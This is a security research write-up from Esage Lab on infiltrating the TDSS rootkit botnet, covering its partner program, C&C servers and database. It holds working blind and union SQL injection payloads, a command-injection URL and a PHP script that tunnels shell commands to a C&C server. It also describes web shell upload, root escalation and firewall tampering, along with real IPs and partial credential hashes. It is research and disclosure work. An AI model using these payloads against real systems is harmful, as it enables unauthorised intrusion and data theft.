Exploit.SWF.Agent.br Pdfka.asd Pidief.cvl TDSS TDSS removal binary planting bios infection blind sqli bootkit bootkit remover browser exploitation com hijacking disassembling dll hijacking drive-by downloads hack online banks heap-spray hijack botnet ibank kernel protection kernel-mode rootkit keylogger malware analysis rootkit detection trojan virus removal

TDSS botnet: full disclosure

Andrey Rassokhin
Researcher, Esage Lab
andrey@esagelab.com

Dmitry Oleksyuk
Senior researcher, Esage Lab
dmitry@esagelab.com

TDSS is a wide-spread rootkit which forms a powerful botnet. TDSS is studied pretty well today. Howewer, no studies include anything beyond analysis of binary code and common attack vectors. Main goal of this article is to fill this gap in the IT security knowledge base by uncovering the TDSS botnet mechanisms.

Also, we are humbly hoping to benefit to the existing computer crimes investigation methodology. This research shows a generic way to locate the “digital core” of a cyberband, having only their instrument (a malicious binary file). Pease note that this method makes it possible to find all technical info about an incident, while personal identification and prosecution of intruders remains in law-enforcement authorities sphere.

The article consists of two parts. In the first part the process of breaking into the botnet is covered step-by-step. The second part is dedicated to analysis of the botnet’s inner details. Because we gained access to the C&C database, objective statistics of the botnet is included at the end of the article.

Breaking into the botnet

Distribution of the TDSS malware is performed through “Dogma Millions” partner program.

Home page of dogmamillions.com partner program

Home page of dogmamillions.com partner program

After registration in the program, a webmaster is encouraged to download the TDSS binary file and to distribute it in any possible ways.

Partner’s account on dogmamillions.com website

Partner’s account on dogmamillions.com website

Most common way to distribute the binary file is to redirect users to landing pages provided by the partner program. A user visiting such landing page will be infected by the TDSS. A partnering webmaster is rewarded of each successful installation of the rootkit.

User-friendly statistics is available to track infected PCs and earnings. Moreover, a webmaster can create separate sub-accounts to analyze different traffic campaigns effectiveness.

Additional account with the link to download of executable TDSS file

Additional account with the link to download of executable TDSS file

First, the partner program website was analyzed. This allowed us to get access to the domamillions.com server’s database and dump webmaster statistics. After this we switched to analyzing C&C servers. An SQL injection through the bot’s configuration file allowed to read scripts on server. After some research we succeeded to inject a web shell through one of the vulnerabilities, and finally got root on C&C. Let’s go into details.

Breaking into the partner program

MySQL v5 database was installed on dogmamillions.com server. Thus, all requests to database as described below are performed in MySQL query language.

First of all, access to the database has been gaine: firstly by means of a Blind SQL injection attack and then by means of a SQL injection attack.

As mentioned earlier, dogmamillions.com users can create subaccounts. They are created by GET HTTP-request:

http://dogmamillions.com/index.php?request=members.sab_account&create=1

After performing this request a new subaccount with ID 1 is created in partner’s account. It can be deleted by specifying its ID in corresponding GET-request:

http://dogmamillions.com/index.php?request=members.sab_account&delete=1

Blind SQL Injection attack was performed as follows. It was necessary to create subaccount with any ID and then to try to delete it. Parameter of delete request was vulnerable, therefore it was possible to execute the attack by sending following request to the server:

http://dogmamillions.com/index.php?request=members.sab_account&delete=if(ord(substring((version()),1,1))>1,1,0xffff)

If value of ord(substring((version()),1,1)) is greater than 1, than if condition returns 1, and request looks as follows (simplified):

http://dogmamillions.com/index.php?request=members.sab_account&delete=1

If condition is false, than request will look like:

http://dogmamillions.com/index.php?request=members.sab_account&delete=0xffff

So the subaccount will be deleted only if condition of delete parameter is true. Blind SQL Injection attack can be executed using this information.

Another variant of the same attack is possible. create parameter of the command for creation of subaccount is also vulnerable. Following request will create a subaccount with ID equal to the value of first char of the version() command output:

http://dogmamillions.com/index.php?request=members.sab_account&create=ord(substring((version()),1,1))

Therefore, if server database version is greater than 5, than first symbol of string returned by version() command is “5”. ASCII-code of this symbol is 53, so a subaccount with ID 53 will be created in partner’s account.

affiliates
	affId
	affAid
	affLogin
	affPassword
	affGroup
	affBalance
	affBalanceEarnings
	affBalancePayout
	affBalanceRefferal
	affBalanceCPV
	affBalanceBonus
	affBalancePenalty
affiliatesaccounts
	affId
	affSid
bonuses
countries
cpvearnings
cronUpdateStatFeeds
	cronId
	cronCreated
	cronStart
	cronCompleted
	cronDateFrom
	cronDateTo
	cronStatus
crontime
domains
	id
	domain
	status
	category
groups
invites
managers
news
payments
paymentsfields
paymentsperiods
paymentsproperties
paymentstypes
penalties
statisticsearnings
statisticsinstalls
statisticsrefferals
substatearnings

Listing of tables from dogmamillions.comdatabase

1:Ro**:c94405aee9b728bad************b1f
3:over****:5f4dcc3b5aa765d61************f99

First subaccounts from affiliates table of dogmamillions.comdogmamillions.com database

Exploitation of the described vulnerabilities allowed us to analyze server database of dogmamillions.com.

Breaking into C&C

As of the time of this analysis, C&C servers of TDSS botnet were located at following domains and IPs (fragment of rootkit’s configuration file):

[tdlcmd]
servers=https://d45648675.cn/;https://d92378523.cn/;https://91.212.226.62/
wspservers=http://b11335599.cn/;http://b00882244.cn/
popupservers=http://m3131313.cn/

Botnet is controlled by three servers specified in servers field of configuration file. So these servers were scanned for vulnerabilities in the first place.

Analysis of bot’s binary file showed that data is being sent to server with the following algorithm:

  1. Create data packet;
  2. Encode it with RC4 algorithm, use IP or domain name of target server as a key;
  3. Encode it additionally with Base64 algorithm;
  4. Send data to server.

Pseudocode of encoding and decoding algorithms is as follows:

сhar *encoded_data = base64_encode(rc4_encrypt(data, key));
сhar *decoded_data = rc4_decrypt(base64_decode(data), key);

In the data which is transmitted to the server by the Trojan, vulnerabilities were found which could be used to execute Blind SQL injection and SQL Injection attacks.

Particularly, after an incorrect GET request the server returned error message with encoded string and full path to vulnerable server script inside.

Error message for incorrect server request

Error message for incorrect server request

The encoded string decodes to the following command:

remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success

Exact purpose of this command at the moment of attack was unclear. But we could find that the third parameter in spike-divided list is vulnerable.

First version of exploit for reading data from database was developed using delay method. Attack query is like follows:

remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

This exploit is based on the command which delays database response for 3 seconds if successful and makes no delay if failed. This is the standard variant of Blind SQL injection delay attack, excepting a fact that we have used sleep() instead of benchmark() since it makes no load on DBMS.

Database

First of all we checked if current user has privileges to read and write server data (File_priv). To find it out, we sent the following query to the server:

remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS(CHAR(64),User,Host) LIKE USER())),1,1))>1,sleep(3),1)|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success
Result of exploit for Blind SQL Injection with delay

Result of exploit for Blind SQL Injection with delay

The attack was successful, thus we had the ability to read and write files on server. However, since reading files with the previous exploit would be very slow, database query was reengineered as follows:

remover|42F831D92B3BE5076B635F2347C80A41|if(ord(substring((version()),1,1))>1,1,(select 1 union select 2))|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success

If the condition is true, the new command returns error, and if the condition is false, the command is completed successfully.

The described exploit allowed us to dump the server database and to read script files.

Работа эксплойта без задержки

Results of exploit with no delay

Scripts

Analysis of the file index.php and of scripts included in it showed a new vulnerability, which finally allowed us to perform a classical SQL Injection attack. Let’s analyze the code of index.php and modules.php:

<?php
try {

...   

    //$_SERVER["REQUEST_URI"]
    $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
    $requestCount = 0;
    $requestHost = $_SERVER["HTTP_HOST"];

    if( $request ) {
        $request      = explode( '|', $request );
        $requestCount = sizeof( $request );
    } else {
        header("HTTP/1.0 404 Not Found");
        exit();
    }

...

    } elseif( $request[0] == 'module' ) {
        DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );

         
        include( 'modules.php' );
        
        DBase::disconnect();
    } 

...

    } else {
        var_dump($request);
        var_dump( base64_encode( rc4Encrypt($_SERVER["HTTP_HOST"], 'remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success') ) );
        header("HTTP/1.0 404 Not Found");
        exit();
    }
    
    


} catch( Exception $e ) {
    print $e;
}

Part of index.php script (omitted code is replaced by dots)

<?php
require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );

    if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
        $modId    = $matches[1];
        $modCrypt = $matches[2];
    } else {
        $modId    = $request[1];
        $modCrypt = FALSE;
    }

    $modDetails = mModules::details( $modId );

    if( $modCrypt ) {
        print rc4Encrypt( $modCrypt, $modDetails['modData'] );
    } else {
        print $modDetails['modData'];
    }
    
    mModules::increment( $modId );

Vulnerable parameter in modules.php script

As you can see, the $request[1] value is not validated before usage, so exploitation is possible as follows:

module|-1 union select 0,1,count(*),3 from users

Upon processing this command from a bot, the server will print an error message containing a valid output from SQL command execution, i.e. the amount of records in the users table.

Testing SQL Injection exploit and server’s response on request

Testing SQL Injection exploit and server’s response on request

The new exploit made it possible to read files and the database 10 times faster than the previous one.

Our next goal was to inject a shell script into the website, which could allow us to execute commands on server without any exploitation.

Web shell injection

At that point we could easily upload a shell script onto the server through one of the script bugs described earlier. But we could not ge acces to the uploaded script, because all web requests to the server were redirected to index.php. So we had to find the HTTP server configuration file, and modify it in order to bypass the limitation.

First, we queried different possible paths to the configuration file via the SQL Injection vulnerability. To automate this process, an open-source program ‘wfuzz’ was utilized. We had to modify the program so that it encoded data prior sending it to the server. Thus the necessary configuration file was located at /etc/lighttpd/lighttpd.conf.

Content of lighttpd.conf

Content of lighttpd.conf

From the configuration file we learned that the redirection was caused by mod_rewrite module. The script include-vhost-enabled.pl included configuration files for individual virtual servers. Howewer, names of those configuration files were obtained by enumeration of files in a given directory. Therefore, path to the file which was necessary to solve the redirection problem was still unknown.

To find the necessary file, we tested a large list of domain names and IPs inside the TDSS botnet:

/etc/lighttpd/sites-enabled/212.117.162.50.conf
/etc/lighttpd/sites-enabled/212.117.162.1.conf
/etc/lighttpd/sites-enabled/91.212.226.59.conf
/etc/lighttpd/sites-enabled/91.212.226.60.conf
/etc/lighttpd/sites-enabled/91.212.226.61.conf
/etc/lighttpd/sites-enabled/91.212.226.62.conf
/etc/lighttpd/sites-enabled/91.212.226.63.conf
/etc/lighttpd/sites-enabled/91.212.226.64.conf
/etc/lighttpd/sites-enabled/91.212.226.65.conf
/etc/lighttpd/sites-enabled/91.212.226.66.conf
/etc/lighttpd/sites-enabled/91.212.226.67.conf
/etc/lighttpd/sites-enabled/195.24.72.6.conf
/etc/lighttpd/sites-enabled/83.243.8.6.conf
/etc/lighttpd/sites-enabled/server.lu.conf
/etc/lighttpd/sites-enabled/www.server.lu.conf

Part of the list of possible configuration file paths

However, only a heuristic manual search lead to success. The necessary configuration file was finally located at /etc/lighttpd/sites-enabled/engine.conf.

$SERVER["socket"] == "91.212.226.63:80" {
        $HTTP["host"] =~ "(.*)?" {
	server.document-root = "/var/www/dm_builder/php/"
#                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )
		accesslog.filename = "/var/log/lighttpd/build.log"
        }
        server.document-root = "/var/www/dm_builder/php/"
}

$SERVER["socket"] == "212.117.162.50:80" {
        $HTTP["host"] =~ "(.*)?" {
        server.document-root = "/var/www/dm_builder/php/"
#                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )
                accesslog.filename = "/var/log/lighttpd/build.log"
        }
        server.document-root = "/var/www/dm_builder/php/"
}

$SERVER["socket"] == "91.212.226.60:443" {
        ssl.engine = "enable"
        ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
        server.document-root = "/var/www/engine/public"
        server.errorlog = "/var/log/lighttpd/engine_error.log"
        accesslog.filename = "/var/log/lighttpd/engine_access.log"
        url.rewrite-once = ( "^/(.*)$" => "/index.php?request=$1" )
}

Part of engine.conf

The file engine.conf contained settings for six servers. Only two of them were configured to redirect HTTP requests to index.php. The other servers were configured to redirect HTTPS requests to MakeBuild.php.

MakeBuild.php script was designed to compile and configure the TDSS rootkit binary. The script receives a number of arguments, one of them supplying debug information for the binary.

<?
if (!isset($_GET['aid'])) exit();
$AID=$_GET['aid'];
$SID=$_GET['sid'];
if (empty($SID)) $SID=0;

$DBG=$_GET['dbg'];
$ENC=$_GET['enc'];

/*if ($AID == 20034 || $AID == 20124)
{
	$url = "http://213.133.110.18/03kd7nml094hx09/?aid={$AID}&sid={$SID}";
	if ($ENC) $url .= "&enc={$ENC}";
	if ($DBG) $url .= "&dbg={$DBG}";
	header("HTTP/1.1 302 Found");
	header("Location: {$url}");
	exit();
}*/

$BuildPath="./builds/{$AID}-{$SID}.exe";
$ExitStatus=null;

if(!chdir('/var/www/builder/')) exit();//exit('Error: Can\'t ChDir'); exec("/usr/bin/wine builder.exe {$AID} {$SID}",$OutPut,$ExitStatus); if ($DBG) { unlink($BuildPath); echo "<html><pre>\n+------------------------------+\n"; print_r($OutPut); echo "\n=------------------------------=\n"; exit('Builder exit status: '.$ExitStatus); }

Part of MakeBuild.php script

As you can see from listing, script arguments are not validated before passing them to the exec() function, so a remote command execution may take place there. Moreover, the dbg parameter allows to print the executed command output.

The following request will to print a listing of all files in current directory:

http://91.212.226.63/087dggl094aa/MakeBuild.php?aid=;ls;&dbg=1

We utilized this vulnerability to upload a web shell onto the server.

Elevation of privilege

We succeeded to gain root privileges on server by exploiting a known sock_sendpage() vulnerability. The existing exploit required to be modified to allow execution in x64 environment.

/root directory at TDSS command server

/root directory at TDSS command server

Botnet administration panel

In the same directory with the engine.conf file another configuration file was found, which contained settings for the botnet control panel.

$SERVER["socket"] == "91.212.226.59:443" {
        ssl.engine = "enable"
        ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
#        $HTTP["host"] =~ "^engineadmin\.com$" {
                server.document-root = "/var/www/engine/tools/public"
                server.errorlog = "/var/log/lighttpd/admin.engine_error.log"
                accesslog.filename = "/var/log/lighttpd/admin.engine_access.log"

                url.rewrite-once = ( "^/([0-9a-zA-Z/]+)/?\??(.*=.*)?$" => "/index.php?request=$1&$2" )

                $HTTP["url"] =~ "^/" {
                        auth.backend = "htpasswd"
                        auth.backend.htpasswd.userfile = "/etc/lighttpd/htpasswd.engine"
                        auth.require = (
                                "/" => (
                                        "method" => "basic",
                                        "realm" => "Use your credit card number as username, cvv2 as password. Thank you ;)",
                                        "require" => "valid-user"
                                )
                        )
                }

#        }
}

Contents of engine_admin.conf file

As you can see from the file, IP address of the administration panel was 91.212.226.59. At first we failed to open it in browser, since our IP address was not whitelisted to access the panel. So we had to fix the whitelist by modification of firewall rules in the /root/ipt.rules file.

-A INPUT -i lo -j ACCEPT 
-A INPUT -s 66.148.74.126/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT 
-A INPUT -s 188.40.72.68/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
-A INPUT -s 188.40.72.125/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
-A INPUT -s 204.12.213.144/29 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
-A INPUT -s 91.212.226.49/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
-A INPUT -d 212.117.162.50/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable 
-A INPUT -d 91.212.226.59/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i eth0 -p tcp -m tcp -m multiport --dports 3306 -j REJECT --reject-with icmp-port-unreachable 
-A INPUT -s 195.138.81.135/32 -p tcp -m tcp --dport 22 -j ACCEPT 
-A INPUT -i eth0 -p tcp -m tcp --dport 873 -j REJECT --reject-with icmp-port-unreachable 
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j REJECT --reject-with icmp-port-unreachable 
COMMIT

Original content of ipt.rules file

After breaking the initial IP authorization check, we found another obstacle to accessing the panel: Basic Authorization. To pass Basic Auth, we added a new login to the htpasswd.engine file. Upon getting access to the server, it was also possible to read plaintext password from database.

Authorization request at admin panel logon

Authorization request at admin panel logon

The control panel has a user-friendly interface, allowing to view detailed botnet statistics, such as: total amount of rootkit installations per day, each bot’s nationality, operating system version and browser version. Also, through the panel it is possible to browse additional loadable modules for the rootkit, and to view commands being currently executed by bots.

Statistics of infections by days

Statistics of infections by days

Statistics by OS

Statistics by OS

Launched commands

Launched commands

Statistics by countries

Statistics by countries

TDSS modules

TDSS modules

Changing of C&C servers

While we were playing around with the control panel, a new version of the rootkit (3.64) started to spread, which communicated with completely different C&C servers

[tdlcmd]
servers=https://a57990057.cn/;https://a58990058.cn/;https://94.228.209.145/
wspservers=http://c36996639.cn/;http://c58446658.cn/
popupservers=http://m2121212.cn/

Control scripts were changed on the new server. Particularly, the vulnerability which allowed to display command output in the server error message was fixed. But the other vulnerabilities that we found were still there, so it was possible to read the index.php file. According to its code, all the exceptions were now written into log file. Server settings were changed too. Among other things, a frontend was installed (nginx) in addition to the lighttpd HTTP server. The engine.conf file was unchanged.

The configuration panel was moved to 188.72.242.191, while our backdoor script stayed on 188.72.242.190. So we were unable to get access to the backdoor. The following script was developed to solve this problem:

<?php

$fp = fsockopen("ssl://94.228.209.145",443,$errno,$errstr);
if(!$fp) die("[e] $errno,$errstr");
$header  = "GET /MakeBuild.php?aid=;".urlencode($argv[1]).";&dbg=1 HTTP/1.1\r\n";
$header .= "Host: bld.newnetengine.com\r\n";
$header .= "Connection: close\r\n\r\n";

fwrite($fp,$header);
while(!feof($fp)) print(fgets($fp,256));
fclose($fp);

print $buff;

Executing commands on the new server via MakeBuild.php file

This script allows transparent tunneling of commands to the old server thanks to nginx, which performs redirection of HTTP requests to a server defined in the “Host:” field of the request (bld.newnetengine.com).

Part 2. Analysis

Botnet command server works under 64-bit Ubuntu Linux:

# uname -a
Linux C020 2.6.29.2 #1 SMP Sun Jul 26 11:29:05 CEST 2009 x86_64 GNU/Linux 
# cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=9.04
DISTRIB_CODENAME=jaunty
DISTRIB_DESCRIPTION="Ubuntu 9.04"

IPs are assigned for eth0 network interface:

# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:212.117.162.50  Bcast:212.117.162.255  Mask:255.255.255.0
          inet6 addr: fe80::221:85ff:fe63:2c55/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:8401814139 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7557368326 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:855626520252 (855.6 GB)  TX bytes:4595270022127 (4.5 TB)
          Interrupt:17 Base address:0x2000 

eth0:1    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.59  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:2    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.60  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:3    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.61  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:4    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.62  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:5    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.63  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:6    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.64  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:7    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.65  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:8    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.66  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

eth0:9    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
          inet addr:91.212.226.67  Bcast:91.255.255.255  Mask:255.255.255.255
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:17 Base address:0x2000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:10295737718 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10295737718 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:3644745121946 (3.6 TB)  TX bytes:3644745121946 (3.6 TB)

Among them, four IPs (91.212.226.60, 91.212.226.61, 91.212.226.62 and 91.212.226.64) relay to web gate for bots, two of them (91.212.226.63 and 212.117.162.50) are used to access the compilation scripts, and one (91.212.226.59) points to the administration panel.

User accounts listed in /etc/shadow file

User accounts listed in /etc/shadow file

At the moment of analysis the server’s process list looked as follows:

  PID TTY      STAT   TIME COMMAND
 1076 ?        S<s    0:04 /sbin/udevd --daemon
 1575 ?        S    1154:22 /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
 2453 ?        Ss     0:00 /sbin/mdadm --monitor --pid-file /var/run/mdadm/monitor.pid --daemonise --scan --syslog
 3801 tty2     Ss+    0:00 /sbin/getty 38400 tty2
 3826 ?        Ss     0:16 /sbin/syslogd -u syslog
 3845 ?        S      0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
 3848 ?        Ss     0:00 /sbin/klogd -P /var/run/klogd/kmsg
 3890 ?        Ss     1:54 /bin/dbus-daemon --system
 3936 ?        Ssl   69:36 /usr/sbin/named -u bind
 3973 ?        Ss     0:01 /usr/sbin/ntpd -p /var/run/ntpd.pid -u 108:117 -g
 3986 ?        Ss     0:01 /usr/sbin/sshd
 3991 ?        Sl   1736:18 /usr/bin/memcached -m 2048 -p 11211 -u nobody -l 127.0.0.1
 4067 ?        Ss     0:00 /usr/lib/postfix/master
 4084 ?        S      0:00 qmgr -l -t fifo -u
 4086 ?        Ss     0:00 /usr/sbin/winbindd
 4113 ?        S      0:00 /usr/sbin/winbindd
 4118 ?        Ss    86:34 avahi-daemon: running [C020.local]
 4119 ?        Ss     0:00 avahi-daemon: chroot helper
 4134 ?        S      0:00 /usr/bin/rsync --no-detach --daemon --config /etc/rsyncd.conf
 4185 ?        Ss     0:03 /usr/sbin/cron
 4220 tty1     Ss+    0:00 /sbin/getty 38400 tty1
 4225 ?        Ssl   36:54 /usr/sbin/console-kit-daemon
 4436 ?        S<   223:30 [loop3]
 4465 ?        S<    72:26 [kjournald2]
 4498 ?        S      0:00 /bin/sh /usr/bin/mysqld_safe
 4728 ?        SLl  87943:36 /usr/sbin/mysqld
 6773 ?        S      0:39 /usr/bin/php-cgi
 7303 ?        S      0:32 /usr/bin/php-cgi
 7320 ?        S      0:31 /usr/bin/php-cgi
 7447 ?        S      0:27 /usr/bin/php-cgi
 7590 ?        S      0:25 /usr/bin/php-cgi
 7796 ?        S      0:19 /usr/bin/php-cgi
 7944 ?        S      0:16 /usr/bin/php-cgi
 7982 ?        S      0:15 /usr/bin/php-cgi
 8002 ?        S      0:00 /USR/SBIN/CRON
 8048 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
 8058 ?        S      0:05 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
 8243 ?        S      0:00 /USR/SBIN/CRON
 8282 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
 8287 ?        S      0:06 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
 8467 ?        S      0:00 /USR/SBIN/CRON
 8483 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
 8484 ?        S      0:03 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
 8637 ?        S      0:00 pickup -l -t fifo -u -c
 8812 ?        S      0:30 /usr/bin/php-cgi
 8903 ?        S      0:26 /usr/bin/php-cgi
 8937 ?        S      0:18 /usr/bin/php-cgi
 8966 ?        S      0:17 /usr/bin/php-cgi
 8971 ?        S      0:16 /usr/bin/php-cgi
 9057 ?        S      0:08 /usr/bin/php-cgi
 9081 ?        S      0:05 /usr/bin/php-cgi
 9249 ?        S      0:03 /usr/bin/php-cgi
 9299 ?        S      0:00 sh -c ps ax
 9300 ?        R      0:00 ps ax
26004 ?        S      0:00 [pdflush]
26007 ?        S      0:01 [pdflush]
27746 ?        Ss     0:00 ssh-agent
28031 ?        Ss     0:01 /usr/bin/php-cgi
28042 ?        Ss     0:03 /usr/bin/php-cgi

Database and scripts

On the server MySQL software is installed to access data bases. LightTPD with enabled PHP is used to process HTTP requests. Part of the data which are being accessed most often are cached in memory by memcached program.

Administration panel scripts and botnet gateway scripts are located in /var/www/engine directory, which is organized as follows:

+--- cron              - scheduled PHP scripts
+--- data              - database of GeoIP addresses and some text files
+--- library           - various PHP libraries used by scripts
+--- public            - scripts to process requests from bots
|                        (root directory of the botnet gateway)
\--- tools
|    +--- controllers  - administration panel scripts
|    +--- layouts      - basic HTML template for the administration panel
|    +--- public       - basic administration panel scripts
|    |                   (root directory of the administration panel web-server)
|    +--- views        - HTML layouts for various administration panel pages
+--- configuration.php – database access settings etc.

To date of access, the server database contained 47 tables with overall 17 719 469 records, and its size was about 2.6 GB.

Names of tables and its purpose:

Table name Amount of records Data size Purpose
affiliates 512 80,0 кБ Partners accounts and its statistics
affiliatesaccounts 607 64,0 кБ
affiliatesregistrations 507 64,0 кБ
affiliatesstatistics ≈ 62 136 8,5 МБ
affiliatesstatisticsbrowser ≈ 53 072 7,1 МБ
affiliatesstatisticsbuild ≈ 5 979 072 655,8 МБ
affiliatesstatisticscountry ≈ 245 253 26,1 МБ
affiliatesstatisticssts 63 3,3 кБ
affiliatesstatisticssystem ≈ 56 982 7,1 мБ
bots ≈ 5 247 199 1,4 ГБ Basic table with information about bots
browsers 3 690 240,0 кБ Additional information about bots (browser versions, rootkit versions, TDLCMD.DLL module version, country, OS version)
builds 172 16,0 кБ
countries 253 16,0 кБ
systems 101 16,0 кБ
commands 55 16,0 кБ Commands for bots, its statistics, commands history, additional parameters
commandsexecuted ≈ 4 546 977 337,5 МБ
commandshistory 1 590 224,0 кБ)
commandsinfo 55 64,0 кБ
commandsproperties 909 64,0 кБ
modules 13 400,0 кБ Executable modules for bots
redirects 0 URL-redirections
redirectsexecuted 0
remover_bho 6 050 1,5 МБ Statistics of remover module
remover_bho_stat 20 1,9 кБ
remover_dda 642 144,0 кБ
remover_dda_stat 21 1,9 кБ
remover_dir ≈ 37 991 7,5 МБ
remover_dir_stat 20 1,9 кБ
remover_errors 18 914 2,5 МБ
remover_extra ≈ 289 449 54,6 МБ
remover_extra_stat 18 1,9 кБ
remover_guid ≈ 21 220 4,5 МБ
remover_guid_stat 20 1,9 кБ
rules 0 Unknown
ruleshistory 0
statuses 1 982 72,3 кБ Unknown
statuses_limits 1 138 919 115,0 МБ
statuses_statistics 3 956 102,8 кБ
users 10 16,0 кБ Accounts of administration panel users

Let’s look through the structure of the most interesting tables.

Requests from bots to the server

Immediately after installation, a bot starts polling the server for commands in a loop. As it was mentioned above, a bot’s requests are first encoded in RC4, then into base64, and are finally sent to botnet gateway via HTTPS.

Command request format may vary from version to version of the rootkit. In most verstions, a request looks as follows before encryption:

bot_ID|aff_ID|aff_SID|rootkit_ver|tdlcmd_ver|os_ver|lang|browser|build_date|install_date

Fields description:

Field Purpose
bot_ID Unique bot identifier, e.g. 7a91eb86-a6be-4db5-8694-0337dad2c75d
aff_ID Bot owner ID
aff_SID Sub account ID
rootkit_ver Rootkit version
tdlcmd_ver Version of TDLCMD.DLL module (basic module of bot’s payload)
os_ver OS version
lang OS language
browser Browser of infected computer. Value of this field is a path to executable file of the browser, found in registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\HTTP\shell\open\command
build_date Compilation date of bot’s executable files (optional)
install_date Infection date (optional)

Besides requests for commands, command server scripts can process some special requests like the following:

module_ID|value_1|value_2|...|value_N
Field Purpose
module_ID Identifier of request type (equivalent to module name which is being addressed)
value_1value_N Random amount of string and/or integer data, depending on the request type

No functionality to perform special requests is hardcoded in the rootkit binary, but it can happen as a result of other commands execution, such as a command to download additional payload module.

Let’s see how the server processes requests from bots. In the first lines of /var/www/engine/index.php script, after including of required header files, requests decoding takes place:

<?php
try {

    // declaration of constants – paths to various directories
